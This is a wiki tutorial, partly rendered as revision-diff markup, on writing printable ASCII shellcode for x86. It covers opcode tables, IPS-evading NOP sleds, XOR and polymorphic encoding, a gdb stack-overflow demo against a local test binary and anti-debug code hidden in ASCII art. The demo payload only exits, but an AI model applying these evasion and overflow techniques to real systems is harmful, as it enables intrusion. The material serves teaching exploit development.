+ | 0xbffff738: 0x41410066 0x41414141 0x41414141 0x41414141 | ||
+ | '''0xbffff748''': 0x41414141 0x41414141 0x41414141 0x41414141 | ||
+ | 0xbffff758: 0x41414141 0x41414141 0x41414141 0x41414141 | ||
+ | 0xbffff768: 0x41414141 0x41414141 0x41414141 0x41414141 | ||
+ | 0xbffff778: 0x41414141 0x41414141 0x41414141 0x41414141 | ||
+ | 0xbffff788: 0x41414141 0x41414141 0x41414141 0x41414141 | ||
+ | 0xbffff798: 0x41414141 0x41414141 0x41414141 0x41414141 | ||
+ | 0xbffff7a8: 0x41414141 0x58004141 0x445f4744 0x5f415441 | ||
+ | |||
+ | * A little bit of hex math will tell us that 0x748 - 0x538 = 0x1f0 (or 496 in decimal). Dividing this by 32 gives us the decimal value '15'. If moving directly to 0xbffff748, 18 bytes of code will have been skipped. To round it off, make sure there are 32 "A" characters at the beginning. So, if the code is to be executed properly, at least 16 'popa' instructions are required to get %esp to point to the code. So, lets do just a little more math here. Lets start with the 32 'A' characters, then 16 'a' characters. Wait, that adds 16 to the required value of %esp, so, two more 'a' (for a total of 18) characters are required and a trailing 34 bytes of nop's before the return pointer. | ||
+ | |||
+ | ====A Successful Overflow==== | ||
+ | {{info|In case the reader didn't follow along and skipped straight here, the shellcode is expected to exit(3), so this exit is expected behavior.}} | ||
+ | '''[hatter@eclipse ~]$ gdb -q ./bof''' | ||
+ | '''Reading symbols from /home/hatter/bof...(no debugging symbols found)...done.''' | ||
+ | '''(gdb) break main''' | ||
+ | '''Breakpoint 1 at 0x80483e7''' | ||
+ | '''(gdb) r `perl -e 'print "A"x32 . "a"x18 . "aPjjX4jHf5eOf5W0PZZj0X43P[HH" . "A"x34 . "\x48\xf7\xff\xbf"'`''' | ||
+ | '''Starting program: /home/hatter/bof `perl -e 'print "A"x32 . "a"x18 . "aPjjX4jHf5eOf5W0PZZj0X43P[HH" . "A"x34 . "\x48\xf7\xff\xbf"'`''' | ||
+ | '''Breakpoint 1, 0x080483e7 in main ()''' | ||
+ | '''(gdb) continue''' | ||
+ | '''Continuing.''' | ||
+ | '''[Inferior 1 (process 29422) exited with code 03]''' | ||
+ | |||
+ | So here's what happened. When the code hit 0xbffff748, we added (18 * 32 = 576 = 0x240) to the %esp register. Some quick math explains that 0xbffff538 + 0x240 = 778. An examination of where the code wound up will indicate that %esp has been successfully set to a value '''after''' the shellcode. | ||
+ | |||
+ | [user@host ~]$ gdb -q ./bof | ||
+ | Reading symbols from /home/hatter/bof...(no debugging symbols found)...done. | ||
+ | (gdb) break main | ||
+ | Breakpoint 1 at 0x80483e7 | ||
+ | (gdb) r `perl -e 'print "A"x32 . "a"x18 . "aPjjX4jHf5eOf5W0PZZj0X43P[HH" . "A"x34 . "\x48\xf7\xff\xbf"'` | ||
+ | Starting program: /home/hatter/bof `perl -e 'print "A"x32 . "a"x18 . "aPjjX4jHf5eOf5W0PZZj0X43P[HH" . "A"x34 . "\x48\xf7\xff\xbf"'` | ||
+ | Breakpoint 1, 0x080483e7 in main () | ||
+ | (gdb) x/200x $esp | ||
+ | '''0xbffff538''': 0x00000000 0xb7e35483 0x00000002 0xbffff5d4 | ||
+ | '''[Shortened for brevity]''' | ||
+ | 0xbffff738: 0x41410066 0x41414141 0x41414141 0x41414141 | ||
+ | '''0xbffff748''': 0x41414141 0x41414141 0x41414141 0x41414141 | ||
+ | 0xbffff758: 0x61614141 0x61616161 0x61616161 0x61616161 | ||
+ | 0xbffff768: 0x61616161 0x6a6a5061 0x486a3458 0x4f653566 | ||
+ | 0xbffff778: 0x30573566 0x6a5a5a50 0x33345830 0x48485b50 | ||
+ | '''0xbffff788''': 0x41414141 0x41414141 0x41414141 0x41414141 | ||
+ | 0xbffff798: 0x41414141 0x41414141 0x41414141 0x41414141 | ||
+ | |||
+ | So the offset 0x778 is still inside the shellcode. That's ok though, the original 'a' or popa at the very beginning of the shellcode sets %esp to 0xbffff788. Expirement with this by setting breakpoints at '''0xbffff788''' (or the return pointer + 28), and seeing what gets written. A value of 0xffff80cd will be written right there - and if you step through instruction by instruction, the dword after it will constantly change as its being used for temporary stack space.}}{{protip|<i><b>You can easily modify the exit code by modifying the ascii without having to go through the entire assembly and disassembly process over.</b></i> | ||
+ | |||
+ | {{code|text= | ||
+ | * Changing the '3' to '4', and adding an additional '''decl %eax''' with 'H': | ||
+ | (gdb) r `perl -e 'print "A"x32 . "a"x18 . "ajjX4jHf5eOf5W0PZZj0X43P[HH" . "A"x35 . "\x48\xf7\xff\xbf"'` | ||
+ | Starting program: /home/hatter/bof `perl -e 'print "A"x32 . "a"x18 . "ajjX4jHf5eOf5W0PZZj0X4'''3'''P['''HH'''" . "A"x35 . "\x48\xf7\xff\xbf"'` | ||
+ | [Inferior 1 (process 17860) exited with code '''03'''] | ||
+ | |||
+ | (gdb) r `perl -e 'print "A"x32 . "a"x18 . "ajjX4jHf5eOf5W0PZZj0X44P[HHH" . "A"x34 . "\x48\xf7\xff\xbf"'` | ||
+ | Starting program: /home/hatter/bof `perl -e 'print "A"x32 . "a"x18 . "ajjX4jHf5eOf5W0PZZj0X4'''4'''P['''HHH'''" . "A"x34 . "\x48\xf7\xff\xbf"'` | ||
+ | [Inferior 1 (process 18701) exited with code '''04'''] | ||
+ | }} | ||
+ | |||
+ | == Encoding Shellcode : Ascii Art == | ||
+ | |||
+ | This is a simple win32 alphanumeric encoded shellcode expanded using '''jump'''. It is also possible to expand polymorphic code in this way, or to write a packer/unpacker that interacts with ascii art. | ||
+ | |||
+ | ===Starting Shellcode=== | ||
+ | |||
+ | <i>Starting out with Koshi's 14 byte alphanumeric NtGlobalFlags payload:</i> | ||
+ | |||
+ | '''jpXV34dd3v09Fh''' | ||
+ | |||
+ | This payload ends on a CMP, so we'll have to add the jump condition. If the values are equal, the debugger is present; if the values are not, there is no debugger present. So, we can use the '''je''' byte offset instruction ('''t''' in alpha) to maintain printable code. We'll want to exit if there's a debugger present, else we can continue code execution. | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="asm"> | ||
+ | push 'p' ;jp | ||
+ | pop eax ;X | ||
+ | push esi ;V | ||
+ | xor esi, dword ptr ss:[esp] ;34d (now contains esi), esi = 0 | ||
+ | xor esi, dword ptr ss:[esi+30] ;d3v0 (store offset 0x30 into esi) | ||
+ | cmp dword ptr ds:[esi+68], eax ;9Fh (compare esi pointer offset 0x68 with 0x70.) | ||
+ | </source> | ||
+ | }} | ||
+ | The following must be sequential, and registers must be preserved: | ||
+ | * V34dd4v0 - ESI must be zeroed, NtGlobalflags must be stored in ESI. | ||
+ | * esi cannot be modified until eax is set to 0x6a/'j' and then 9Fh is run as a comparison. | ||
+ | |||
+ | ===Comparisons and Jumps=== | ||
+ | |||
+ | Available comparison operators are a little hacky. We can compare the eax register to a dword using the '=' opcode '''0x3d''', other than that we're limited to the unpredictable x38-0x3b instructions. For brevity we will use the '=' opcode here. Other available printable comparison operators will be reserved for future instructions, as they get much more complex. | ||
+ | |||
+ | * Suppose we wanted to jump 30 bytes ahead in pure ascii. The easy way to do this is by setting the value of the eax register to a controllable ascii DWORD. In this case, we'll use the string 'code': | ||
+ | |||
+ | '''hcodeX=codet0''' | ||
+ | |||
+ | * Disassembled, this represents: | ||
+ | |||
+ | {{code|text= | ||
+ | <source lang="asm"> | ||
+ | push 'code' | ||
+ | pop %eax | ||
+ | cmp 'code', %eax | ||
+ | je 0x30 | ||
+ | </source> | ||
+ | }} | ||
+ | |||
+ | === The Ascii Art === | ||
+ | |||
+ | {{info|This ascii art is 80 bytes wide, so each line is 81 bytes including the newline (0x0a).}} | ||
oooooooooo. .o8 | oooooooooo. .o8 | ||
Line 797: | Line 1,213: | ||
"Y88888P' | "Y88888P' | ||
− | + | === Jump Sequencing === | |
− | + | ||
− | + | ||
+ | Lets see which lines look the best for code insertion. The string 'hcodeX=codet0' is 13 bytes. We can start with a jump to the big string of o's at the top of the 'D' in Debug. The first 'o' is at row two, column 23. 81 + 23 = 104, or 0x68, the 'h' character: | ||
− | hcodeX=codeth | + | |
− | + | '''hcodeX=codeth''' | |
+ | '''o'''ooooooooo. .o8 | ||
`888' `Y8b "888 | `888' `Y8b "888 | ||
ooo. .oo. .ooooo. 888 888 .ooooo. 888oooo. oooo oooo .oooooooo | ooo. .oo. .ooooo. 888 888 .ooooo. 888oooo. oooo oooo .oooooooo | ||
Line 813: | Line 1,229: | ||
"Y88888P' | "Y88888P' | ||
− | We have now jumped to the top of the D. | + | * We have now jumped to the top of the D. Going back to the shellcode, as long as we preserve eax, we can jump in the string '=codeth' which is 7 bytes, which lets us squeeze shellcode in spaces. Using the dword 'code' will actually let us tag the shellcode, serving as a tag on the next line in empty space. Because we can only jump 122 bytes, we can't get to a part of the ascii art with enough room. We can solve this problem by finding empty enough space to toss the jump code in, along with a little bit of the necessary shellcode: |
− | '=codeth' which is 7 bytes, which lets us squeeze shellcode in spaces. Using | + | |
− | serving as a tag on the next line in empty space. Because we can only jump 122 bytes, we can't get to a part of the ascii art with | + | |
− | enough room. We can solve this problem by finding empty enough space to toss | + | |
− | shellcode: | + | |
− | hcodeX=codeth | + | |
− | V34d=codet4 .o8 | + | '''hcodeX=codeth''' |
− | d4v0=codet? `888' `Y8b "888 | + | '''V34d=codet4''' .o8 |
+ | '''d4v0=codet?''' `888' `Y8b "888 | ||
ooo. .oo. .ooooo. 888 888 .ooooo. 888oooo. oooo oooo .oooooooo | ooo. .oo. .ooooo. 888 888 .ooooo. 888oooo. oooo oooo .oooooooo | ||
`888P"Y88b d88' `88b 888 888 d88' `88b d88' `88b `888 `888 888' `88b | `888P"Y88b d88' `88b 888 888 d88' `88b d88' `88b `888 `888 888' `88b | ||
Line 830: | Line 1,243: | ||
"Y88888P' | "Y88888P' | ||
+ | * Thee ? mark marks where this current article is at, and all the way through the bit of code to store the PEB value into the %esi register using the string 'V34dd4v0' while maintaining the ability to jump around. The next bit of code is going to be tricky. 80 bytes will need to be jumped to land at the top of the 'e'. From there move to the lower top of the 'n', then to the middle of the 'e'. From there to the middle of the g to the bottom of the b, create an extra bottom on the D to accentuate, then jump to the bottom of the 'g' when and finished. | ||
+ | |||
+ | === Ascii Art Code === | ||
− | + | '''hcodeX=codeth''' | |
− | + | '''V34d=codet4''' .o8 | |
− | + | '''d4v0=codeti''' `888' `Y8b "888 | |
− | + | ooo. .oo. .ooooo. 888 888 '''=codet.''' 888oooo. oooo oooo .oooooooo | |
− | + | `88'''=codetn''' d88' `88b 888 888 d88' `88b d88' `88b `888 `888 888' `88b | |
+ | 888 888 888 888 888 888 88'''=codetk''' 888 888 888 888 888 888 | ||
+ | 888 888 888 888 888 d88' 888 .o 888 888 888 888 `'''=codet5'''' | ||
+ | o888o o888o `Y8bod8P' o888bood8P' `Y8bod8P' `'''=codet0'''' `V88V"V8P' `8oooooo. | ||
+ | '''=codet|''' d" YD | ||
+ | "'''jpX9Fht?''' | ||
− | + | {{exploitation}}{{programming}}{{social}} | |
− | + | [[Category:Shellcode]] | |
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + | ||
− | + |
Latest revision as of 03:27, 20 September 2012
Ascii shellcode bypasses many character filters and is somewhat easy to learn due to the fact that many ascii instructions are only one or two byte instructions. The smaller the instructions, the more easily obfuscated and randomized they are. During many buffer overflows the buffer is limited to a very small writeable segment of memory, so many times it is important to utilize the smallest possible combination of opcodes. In other cases, more buffer space is available and things like ascii art shellcode are more plausible.
Ascii shellcode requires a basic understanding of assembly and the stack, as well as stack overflows. |
Special thanks to hatter for his contributions to this article.
Contents
Available Instructions
The printable ascii shellcode character space consists within 3 main ranges, while symbols exist between them:
- Lowercase alpha falls between 0x61 and 0x7a (a-z).
- Uppercase alpha falls between 0x41 and 0x5a (A-Z).
- Numeric space falls between 0x30 and 0x39 (0-9).
ASCII Value | Hex Opcode | Assembly Equivalent |
---|---|---|
0 | \x30 | xor |
1 | \x31 | xor |
2 | \x32 | xor |
3 | \x33 | xor |
4 | \x34 | xor al, 0x## [byte] |
5 | \x35 | xor eax, 0x######## [DWORD] |
6 | \x36 | SS Segment Override |
7 | \x37 | aaa |
8 | \x38 | cmp |
9 | \x39 | cmp |
: | \x3a | cmp |
; | \x3b | cmp |
< | \x3c | cmp al, 0x## [byte] |
= | \x3d | cmp eax, 0x######## [DWORD] |
> | \x3e | [undocced nop] |
? | \x3f | aas |
@ | \x40 | inc eax |
A | \x41 | inc ecx |
B | \x42 | inc edx |
C | \x43 | inc ebx |
D | \x44 | inc esp |
E | \x45 | inc ebp |
F | \x46 | inc esi |
G | \x47 | inc edi |
H | \x48 | dec eax |
I | \x49 | dec ecx |
J | \x4a | dec edx |
K | \x4b | dec ebx |
L | \x4c | dec esp |
M | \x4d | dec ebp |
N | \x4e | dec esi |
O | \x4f | dec edi |
P | \x50 | push eax |
Q | \x51 | push ecx |
R | \x52 | push edx |
S | \x53 | push ebx |
T | \x54 | push esp |
U | \x55 | push ebp |
V | \x56 | push esi |
W | \x57 | push edi |
X | \x58 | pop eax |
Y | \x59 | pop ecx |
Z | \x5a | pop edx |
[ | \x5b | pop ebx |
\ | \x5c | pop esp |
] | \x5d | pop ebp |
^ | \x5e | pop esi |
_ | \x5f | pop edi |
` | \x60 | pushad |
a | \x61 | popad |
b | \x62 | bound |
c | \x63 | arpl |
d | \x64 | FS Segment Override |
e | \x65 | GS Segment Override |
f | \x66 | 16 Bit Operand Size |
g | \x67 | 16 Bit Address Size |
h | \x68 | push 0x######## [dword] |
i | \x69 | imul reg/mem with immediate to reg/mem |
j | \x6a | push 0x## [byte] |
k | \x6b | imul immediate with reg into reg |
l | \x6c | insb es:[edi], [dx] |
m | \x6d | insl es:[edi], [dx] |
n | \x6e | outsb [dx], dx:[esi] |
o | \x6f | outsl [dx], ds:[esi] |
p | \x70 | jo 0x## [byte relative offset] |
q | \x71 | jno 0x## [byte relative offset] |
r | \x72 | jb 0x## [byte relative offset] |
s | \x73 | jae 0x## [byte relative offset] |
t | \x74 | je 0x## [byte relative offset] |
u | \x75 | jne 0x## [byte relative offset] |
v | \x76 | jbe 0x## [byte relative offset] |
w | \x77 | ja 0x## [byte relative offset] |
x | \x78 | js 0x## [byte relative offset] |
y | \x79 | jns 0x## [byte relative offset] |
z | \x7a | jp 0x## [byte relative offset] |
Constructing the NOP Sled
Most modern day IPS systems are capable of recognizing ASCII NOP sleds due to their popularity in modern exploitation. Many IPS systems look for large strings of repeating characters. The solution to this problem is to make use of 'effective NOPs', instead of simply NOPs. Combine this with a randomization sequence and one can avoid IPS detection in a few simple steps.
Instructions
ASCII Pair | Hex Opcode | Register | Instructions Used | Commonly Detected |
---|---|---|---|---|
AI | \x41\x49 | %ecx | INC, DEC | No |
@H | \x40\x48 | %eax | INC, DEC | Yes |
BJ | \x42\x4A | %edx | INC, DEC | No |
CK | \x43\x4B | %ebx | INC, DEC | No |
DL | \x44\x4C | %esp | INC, DEC | No |
EM | \x45\x4D | %ebp | INC, DEC | No |
FN | \x46\x4E | %esi | INC, DEC | No |
GO | \x47\x4F | %edi | INC, DEC | No |
The Pair can be put in any order, e.g. AI, IA, @H, H@, as long as both characters are used the same number of times. They can even be jumbled together. The above is only true when using INC and DEC NOPs exclusively.
ASCII Pair | Hex Opcode | Register | Instructions Used | Commonly Detected |
---|---|---|---|---|
PX | \x50\x58 | %eax | PUSH, POP | No |
QY | \x51\x59 | %ecx | PUSH, POP | No |
RZ | \x52\x5A | %edx | PUSH, POP | No |
S[ | \x53\x5B | %ebx | PUSH, POP | Yes |
T\ | \x54\x5C | %esp | PUSH, POP | Yes |
U] | \x55\x5D | %ebp | PUSH, POP | Yes |
V^ | \x56\x5E | %esi | PUSH, POP | Yes |
W_ | \x57\x5F | %edi | PUSH, POP | Yes |
a` | \x61\x60 | ALL | PUSH, POP | Yes |
Implementation
There are also other operations can be used as NOPs as well. Of course, these operations do actually do things. This won't affect exploit code because register values are preserved. |
- For example, '4' or 0x34 is:
<syntaxhighlight lang="asm">xor al, 0x??</syntaxhighlight> |
- While '5', or 0x35, is:
<syntaxhighlight lang="asm">xor eax, 0x????</syntaxhighlight> |
So, if P5LULZX were to execute, nothing would happen other than a waste of cpu cycles. The Assembly looks like :
<syntaxhighlight lang="asm"> [intel] [att sysV] push eax pushl %eax xor eax, 0x4c554c5a xorl $0x4c554c5a, %eax pop eax popl %eax </syntaxhighlight> |
The value of the %eax register is momentarily changed and then restored.. It is not really going to modify execution flow, save for cpu cycle count. There are more examples of this too, if the goal is only to create effective NOPs. For example, PhLULZX5LULZX, adds more bytes to the NOP sled:
<syntaxhighlight lang="asm"> [intel] [att sysV] push eax pushl %eax push 0x4c554c5a pushl $0x4c554c5a pop eax popl %eax xor eax, 0x4c554c5a xorl $0x4c554c5a, %eax pop eax popl %eax </syntaxhighlight> |
PUSH/POPS can be mixed with INC/DEC operands without much difficulty. Once a register has been pushed to the stack, anything can be done to its value before popping that register back off the stack.
Even arithmetic calculations can be used as long as the original values of the registers are restored. This preserves the environment for the executing shellcode. |
In this example using the PUSH and POP instructions, PRQXYZQPRXZY, the code simply re-arranges the register values and puts them back in the right place.
The assembly is as follows:
<syntaxhighlight lang="asm"> [intel] [att sysV] push eax pushl %eax push edx pushl %edx push ecx pushl %ecx pop eax popl %eax pop ecx popl %ecx pop edx popl %edx push ecx pushl %ecx push eax pushl %eax push edx pushl %edx pop eax popl %eax pop edx popl %edx pop ecx popl %ecx </syntaxhighlight> |
As far as the INC/DEC instructions are concerned, shellcode like ACBKJI leave the %ecx, %edx, and %ebx registers completely unchanged. Therefore any register can be incremented any number of times so long as the register is decremented the same amount.
Basic Encoding
Though there aren't many instructions available in the printable character space, there are still enough instructions to manipulate the values of multiple registers and the stack
Single Byte Register Manipulation
Using only ASCII, the smallest method to zero out the %eax register is five bytes, jXX4X, examined below:
Ascii | Machine Code | Assembly |
---|---|---|
jX | \x6a\x58 | push byte 0x58 |
X | \x58 | pop eax |
4X | \x34\x58 | xor al, 58 |
- Reviewing that five-byte combination line by line:
Assembly. | Action |
---|---|
push 0x58 |
pushes 58000000 onto the stack |
pop eax |
pops eax, sets eax to 0x00 00 00 58 |
xor al, 58 |
because al = 58, al now = 00, making eax = 0x00000000 |
Reviewing XOR
XOR (exclusive OR) can sometimes be a serious inconvenience to developers due to the time consuming and tedious nature of xor-encoding by hand. The XOR instruction performs a Bitwise Operation on two values. If the bits are the same, then the corresponding or respective bit is reset to 0. If the two bits are different, then the corresponding or respective bit is set to 1. For example, F xor 3:
1111 F xor 0011 3 = ------------ 1100 C
Any time something is XOR'd with itself, it becomes zero.
Example A | Example B |
---|---|
1111 F xor 1111 F = ---------- 0000 0 |
1001 9 xor 1001 9 = ---------- 0000 0 |
DWORD Manipulation
Using printable ASCII as machine code one can PUSH registers, POP registers, PUSH DWORD and byte values, and XOR them.
- Some of the more important printable instructions include:
Ascii | Machine Code/hex | Assembly | Operand Size |
---|---|---|---|
h | \x68 | push 0x########
|
DWORD |
5 | \x35 | xor eax, 0x######## |
DWORD |
4 | \x34 | xor al, 0x## |
BYTE |
X | \x58 | pop eax |
No Operands |
j | \x6a | push 0x##
|
BYTE |
Q | \x51 | push ecx |
No Operands |
P | \x50 | push eax |
No Operands |
Y | \x59 | pop ecx |
No Operands |
Z | \x5a | pop edx |
No Operands |
- So, a small example of ASCII to modify the entire DWORD value of the eax register and set the register value to zero is hLULZX5LULZ:
Ascii | Machine Code | Assembly |
---|---|---|
hLULZ | \x68\x4c\x55\x4c\x5a | push 0x5a4c554c |
X | \x58 | pop eax |
5LULZ | \x35\x4c\x55\x4c\x5a | xor eax, 0x5a4c554c |
- And the DWORD eax register has been manipulated and set to 0 in 11 bytes.
Introduction to Polymorphic Ascii Shellcode
Polymorphic code refers to a piece of code's ability to change itself. Machine code can modify itself through any of the functions which allow modification of registers and the stack. Self-modifying code is generally used to prevent the reverse-engineer from understanding the code. This method of code obfuscation is quite common and is considered a standard in most targeted exploitations.}}Due to the nature of the stack and the x86 architecture, the stack grows backwards, but executes forwards.
During the first instruction of a buffer overflow payload's execution, the esp register points to the top of the stack that was overflowed. By manipulating this register properly during shellcode execution, code within the context of the currently executing buffer can be modified or overwritten. To apply this concept to polymorphic shellcode, the esp register must be pointing to a location in the stack ahead of the code currently executing. Because the stack grows backwards, pushed bytes will be written in front of the code being executed, and the code executing will eventually hit the bytes of machine code pushed to the stack.
Without ASCII limitations, there are several instructions, or "modifiers" that can be used for the morphing. Generally, any instruction that can be used to modify the value of a register, in relation to itself (anything other than moving a value into a register) is considered a modifier. Modifiers, including ASCII modifiers, are as follows:
|
Pushing Nops
The goal is to decode binary ahead of the currently executing printable ascii code. Whenever a register is popped from the stack, the esp has 4 bytes added to its pointer. When the popad or popa instruction is used, %esp has 32 bytes added to its pointer, as 8 registers are popped off the stack at once. Likewise, push and pop of single registers subtract and add 4 to the value of the stack pointer (%esp), respectively.
Suppose one wanted to use the eax register, set it to all NOPs (0x90) and push it onto the stack, using nothing but ASCII. The \x90 opcode cannot be used, because the \x90 code does not live in the ASCII keyspace. Obviously this isn't very useful, but the concept is the important part. A very basic polymorphic code is how 0x90909090 will be pushed onto the stack without referencing the actual value 0x90 a single time. In the shortest amount of bytes possible, the shellcode to do so is jFX4FH5ooooP (12 bytes), analyzing that:
Ascii | Machine Code | Assembly |
---|---|---|
jF | \x6a\x46 | pushb $0x46 |
X | \x58 | pop %eax |
4F | \x34\x46 | xor $0x46, %al |
H | \x48 | decl %eax |
5oooo | \x35\x6f\x6f\x6f\x6f | xorl $0x6f6f6f6f, %eax |
P | \x50 | pushl %eax |
If this is still confusing, this is further breakdown, following the %eax register, in both common assembly syntaxes:
ATT SystemV Assembly | Intel Assembly | Value of eax register |
---|---|---|
pushb $0x46 |
push 0x46 |
|
pop %eax |
pop eax |
0x00000046 |
xorb $0x46, %al |
xor al, 0x46 |
0x00000000 |
decl %eax |
dec eax |
0xffffffff |
xorl $0x6f6f6f6f, %eax |
xor eax, 0x6f6f6f6f |
0x90909090 |
pushl %eax |
push eax |
There are two things happening here which haven't been covered thoroughly. The first one of these is the dec eax, or the \x48 instruction. Usually, dec simply decrements the affected register. However, when that register is already equal to 0x00000000, dec will underflow and set the register to 0xffffffff. The second thing is the XOR instruction. The XOR instruction in the above code does an exclusive or as follows:
0xffffffff xor 0x6f6f6f6f
And stores the value in eax, then PUSHes eax. This is a nybble by nybble, byte by byte following of the exclusive or instruction:
1111 1111 1111 1111 1111 1111 1111 1111 (FFFFFFFF) xor 0110 1111 0110 1111 0110 1111 0110 1111 (6F6F6F6F) = ---- ---- ---- ---- ---- ---- ---- ---- -------------- 1001 0000 1001 0000 1001 0000 1001 0000 (90909090)
Polymorphic code should consist of methods which place a random or comment value into a register, and then XOR the register until the desired value has been reached. The register value can be started at any ASCII value, 0x00000000, or 0xffffffff, by XORing a register with itself, or by setting the register value to zero and then decrementing it.
Notice that this shellcode is 100% alphanumeric. There is of course, non-ASCII and non-alphanumeric polymorphic code, which has much less inhibitions than printable ASCII or alpha-numeric bytecode.
A sequence for exit
In linux/x86 the exit interrupt is pretty straight forward:
.section .data .section .text .globl _start _start: xorl %eax, %eax incl %eax xorl %ebx, %ebx int $0x80 |
If testing , put the contents of the above code box into a textfile named exit.s. Then run the following commands in the bash prompt:
as exit.s --32 -o exit.o ; ld exit.o -o exit ; ./exit |
- exit executes without crashing due to segmentation fault or anything of that nature. The above code sets the interrupt call (the %eax register) to 1 (the exit function's kernel interrupt), and the exit code (%ebx register) to 0, which you can see by doing the following:
./exit ; echo $? |
- The exit code "3" is going to be used for the example of polymorphism, it will be able to see if the shellcode properly executed. The following code will be used:
.section .data .section .text .globl _start _start: xorl %eax, %eax incl %eax movl $3, %ebx int $0x80 |
- Go ahead and re-assemble and execute this, testing for the exit code:
[user@host ~]$ echo $? 3 |
From assembling to machine code
To get shellcode for the exit sequence, one can use the objdump command line bash utility:
[user@host ~]$ objdump -d exit exit: file format elf64-x86-64 Disassembly of section .text: 0000000000400078 <_start>: 400078: 31 c0 xor %eax,%eax 40007a: ff c0 inc %eax 40007c: bb 03 00 00 00 mov $0x3,%ebx 400081: cd 80 int $0x80 |
- Objdump did a decent favor here - breaking the output into table format:
Memory Address | Machine Code | Assembly |
---|---|---|
400078 | 31 c0 | xor %eax,%eax |
40007a | ff c0 | inc %eax |
40007c | bb 03 00 00 00 | mov $0x3,%ebx |
400081 | cd 80 | int $0x80 |
- It can be easily determined that the machine code for this is "\x31\xc0\xff\xc0\xbb\x03\x00\x00\x00\xcd\x80"
Examining the assembly and shellcode further, because eax and ebx can be easily manipulated, the real challenge here is getting "\xcd\x80" onto the stack. It's also positioned first, since it is executed last. Closer examination will also reveal one need not push the other instructions, so long as the values of %ebx and %eax are sound when the kernel interrupt is called. So, because "\xcd\x80" is two bytes, or a word, 0x66 (or f in alpha) instruction prefix will have to be used to force a 16-bit operand size in conjunction with the 0x35 xor dword instruction. Though, something that when XOR'd with 0xcd80 still needs to be found in the printable character space (between 0x30 and 0x7a).
Converting Exit to Printable Ascii
The following needs to be kept in mind when converting the exit shellcode to ascii:
|
eax & ebx
Taking a look at %ebx, it's value will need to be set to 0x03. The best way it can be done is by manipulating the %eax register, then pushing the eax register and popping the value back into %ebx. The following code can do this:
pushb $0x30 pop %eax xorb $0x33, %al pushl %eax pop %ebx |
%ebx and %eax are both 3. The %eax register can simply be decremented twice (H in alpha) to get to the value of '1':
When analyzed:
Assembly | Machine Code | Ascii |
---|---|---|
pushb $0x30 |
\x6a\x30 | j0 |
pop %eax |
\x58 | X |
xor $0x33, %al |
\x34\x33 | 43 |
pushl %eax |
\x50 | P |
pop %ebx |
\x5b | [ |
decl %eax |
\x48 | H |
decl %eax |
\x48 | H |
- The ascii code for this manipulation of the %eax and %ebx registers looks like "j0X43P[HH".
The Kernel Interrupt
This next part is a bit more difficult. \xcd\x80 needs to be constructed on the stack. First, zeroing out the eax register, and decrementing it to get 0xffffffff:
Assembly | Ascii |
---|---|
pushb $0x6a |
jj |
pop %eax |
X |
xorb $0x6a, %al |
4j |
decl %eax |
H |
Once jjX4jH has been run, eax must be set to 0xffffffff. Now, determining what the target xor should be:
FFFF xor 80CD = ---------- 7F32
- Now due to the way xor works, find two ascii sequences that can be assumed when xor'd together, come out to 0x7f32:
Assembly | Machine Code | Ascii |
---|---|---|
xor $0x4f65, %ax |
\x66\x35\x4f\x65 | f5Oe |
xor $0x3057, %ax |
\x66\x35\x30\x57 | f50W |
pushl %eax |
\x50 | P |
- And all put together, the ascii code for getting \xcd\x80 onto the stack in the correct order looks like "jjX4jHf5Oef50WP".
The Code
The first thing to be done is add to ESP. Find out how many bytes to be added by adding up all this shellcode. So far, there is "jjX4jHf5Oef50WP" and "j0X43P[HH" to push \xcd\x80 onto the stack, and using stack space, set %eax to 1 and %ebx to 3. The next problem in the equation is the reliance on push to apply values, and pushed instructions (\xcd\x80) onto the stack with the first bit, which could get overwritten or have instructions written in front of it. Now all of these things need to be tied together along with the knowledge of the stack to ensure proper execution of the code.
There are multiple solutions to this:
|
In this example, 8 is added to %esp by popping an arbitrary register that the code doesn't care about. In this case, the arbitrary register is %edx. So once the exit code has been written, %edx is popped twice to add 8 to %esp. This will not only prevent us from overwriting the exit code with a single push instruction, but also prevents single-push instructions from overwriting code between executing code and the freshly unpacked the exit code.
In review:
- The stack pointer (%esp) must be set to the value of the shellcode's length in bytes above the instruction pointer (%eip)
- The stack will need to be manipulated properly to avoid overwriting reconstructed instructions.
To align the stack pointer, a combination of the popad instruction and pop register instructions will be used to ensure the smallest possible code. Assuming that %eip = %esp at the time of the code's execution (it rarely will) the smallest possible code is 28 bytes:
aPjjX4jHf5eOf5W0PZZj0X43P[HH
Examining what's going on here:
Assembly | Machine Code | Ascii | Comment |
---|---|---|---|
popa
|
\x61 | a | Used to align %esp 32 bytes ahead - 4 bytes from the end of the shellcode |
pushl %eax |
\x50 | P | Used to subtract 4 from %esp to align it immediately after the code |
pushb $0x6a |
\x6a\x6a | jj | put $0x6a on the stack |
pop %eax |
\x58 | X | %eax is set to 0x6a |
xorb 0x6a, %al |
\x34\x6a | 4j | Zero out %eax |
decl %eax |
\x48 | H | %eax is now set to 0xffffffff so \xcd\x80 can be used with xor |
xor $0x4f65, %ax |
\x66\x35\x65\x4F | f5eO | Our first round of xor |
xor $0x3057, %ax |
\x66\x35\x57\x30 | f5W0 | Sets %eax to 0xffff80cd |
push %eax |
\x50 | P | Makes \xcd\x80\xff\xff hit the stack |
pop %edx |
\x5a | Z | Used to add 4 to %esp, because %edx does not matter for the code. |
pop %edx |
\x5a | Z | Add 4 more to %esp, now past the code for exit constructed in front of the code |
pushb $0x30 |
\x6a\x30 | j0 | Set up to set ebx = 3 |
pop %eax |
\x58 | X | %eax = $0x30 |
xor $0x33, %al |
\x34\x33 | 43 | set %eax to 3 for moving it into %ebx |
push %eax |
\x50 | P | push 0x00000003 onto the stack, ahead of the interrupt sequence |
pop %ebx |
\x5b | [ | Set the exit code to '3' by the value off of the stack into %ebx |
decl %eax |
\x48 | H | Since 3 was stored in %eax as well as %ebx, %eax is then decremented twice to get 1. |
decl %eax |
\x48 | H | %eax is 1, %ebx is 3. The next bytes have been overwritten with machine code for int $0x80. |
- Now this needs to be converted to ascii to be put onto the stack. The preferred method to do this is by using "strings" against the generated object file. Save the above code in a file called payload.s, assemble it with 'as' and run strings on payload.o, as follows:
[user@host ~]$ as payload.s --32 -o payload.o [user@host ~]$ strings payload.o aPjjX4jHf5eOf5W0PZZj0X43P[HH
- And to make sure its 28 bytes:
[user@host ~]$ echo -n $(strings payload.o)|wc 1 1 28
Testing Our Code
Stack dumps in this segment have been shortened for brevity and readability.
Analyzing the Buffer
